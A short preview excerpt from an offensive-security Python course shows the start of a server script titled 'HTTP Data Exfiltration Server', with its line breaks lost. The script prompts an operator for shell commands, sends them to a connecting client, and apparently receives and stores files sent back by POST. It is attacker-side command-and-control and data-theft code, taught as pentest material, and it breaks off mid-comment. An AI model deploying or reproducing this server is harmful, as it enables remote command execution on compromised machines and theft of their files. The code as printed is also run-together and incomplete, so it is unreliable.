April 2018
Intermediate to advanced
176 pages
4h 16m
English
Now, on the server side, we've imported a new library called cgi. This one is used to handle the received file and store it locally. The following is the server side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# HTTP Data Exfiltration Serverimport BaseHTTPServerimport os, cgiHOST_NAME = '10.0.2.15' PORT_NUMBER = 80 class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(s): command = raw_input("Shell> ") s.send_response(200) s.send_header("Content-type", "text/html") s.end_headers() s.wfile.write(command) def do_POST(s): # Here we will use the points which we mentioned in the Client side, as a start if the "/store" ...